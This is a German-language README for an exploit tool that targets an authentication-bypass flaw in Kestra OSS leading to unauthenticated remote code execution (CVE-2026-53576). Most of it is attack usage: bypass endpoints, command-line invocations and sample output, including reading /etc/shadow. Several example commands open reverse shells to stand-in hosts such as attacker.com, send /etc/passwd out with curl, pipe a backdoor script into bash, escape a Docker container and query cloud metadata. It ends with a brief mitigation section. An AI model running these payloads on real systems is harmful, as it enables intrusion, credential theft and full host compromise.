
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.
- NICHT gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.
- NICHT für illegale Aktivitäten verwenden.
- Der Autor ist NICHT verantwortlich für jeglichen Missbrauch dieses Tools.
- Verwendung auf EIGENES RISIKO.
CVE-2026-53576 ist eine kritische Schwachstelle in Kestra OSS bis Version v1.3.20, die nicht authentifizierte Remote-Codeausführung durch eine Umgehung des Authentifizierungsfilters ermöglicht.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2026-53576 |
| Schweregrad | Kritisch (9.8 CVSS) |
| Schwachstellentyp | Authentifizierungs-Umgehung + RCE |
| Betroffenes Produkt | Kestra OSS |
| Betroffene Versionen | ≤ v1.3.20 |
| Angriffsvektor | Netzwerk |
| Erforderliche Authentifizierung | Keine |
| Benutzerinteraktion | Keine |
Der Authentifizierungsfilter in Kestra enthält einen kritischen Logikfehler:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Dieser prüft, ob irgendeine API-Anfrage mit /configs endet, anstatt die exakte Route abzugleichen. Dadurch können Angreifer die Authentifizierung umgehen, indem sie /configs an jeden Endpunkt anhängen.
POST /api/v1/main/flows/configs (umgeht Authentifizierung)POST /api/v1/main/executions/configs/configs (umgeht Authentifizierung)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Option | Beschreibung |
|---|---|
target | Ziel-IP-Adresse oder Hostname (erforderlich) |
-p, --port | Port (Standard: 8080) |
--https | HTTPS statt HTTP verwenden |
-c, --command | Benutzerdefinierter Befehl zur Ausführung |
--docker-check | Docker-Socket-Zugriff prüfen |
--cleanup | Flow nach der Ausnutzung löschen |
--delay | Verzögerung zwischen Anfragen (Standard: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Ausgabe:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Kategorie | Schweregrad | Beschreibung |
|---|---|---|
| Vertraulichkeit | ⚠️ Kritisch | Beliebige Dateien lesen (Passwörter, Geheimnisse, Konfigurationen) |
| Integrität | ⚠️ Kritisch | Flows und Daten erstellen/ändern/löschen |
| Verfügbarkeit | ⚠️ Hoch | System herunterfahren, Ressourcenerschöpfung |
| Authentifizierung | ⚠️ Kritisch | Vollständige Umgehung der Basis-Authentifizierung |
| Privilegieneskalation | ⚠️ Kritisch | Befehle laufen als root (uid=0) |
| Container-Escape | ⚠️ Kritisch | Host-Kompromittierung über Docker-Socket |
Ein nicht authentifizierter Angreifer kann:
Beliebige Befehle als root ausführen:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Zum Hostsystem wechseln (falls Docker-Socket eingebunden):
docker run -v /:/host --privileged alpine chroot /host
Auf Cloud-Metadaten zugreifen (falls bei Cloud-Anbieter):
curl http://169.254.169.254/latest/meta-data/
Verwundbare Instanzen herunterfahren:
sudo systemctl stop kestra
Öffentlichen Zugriff blockieren:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Firewall-Regeln anwenden: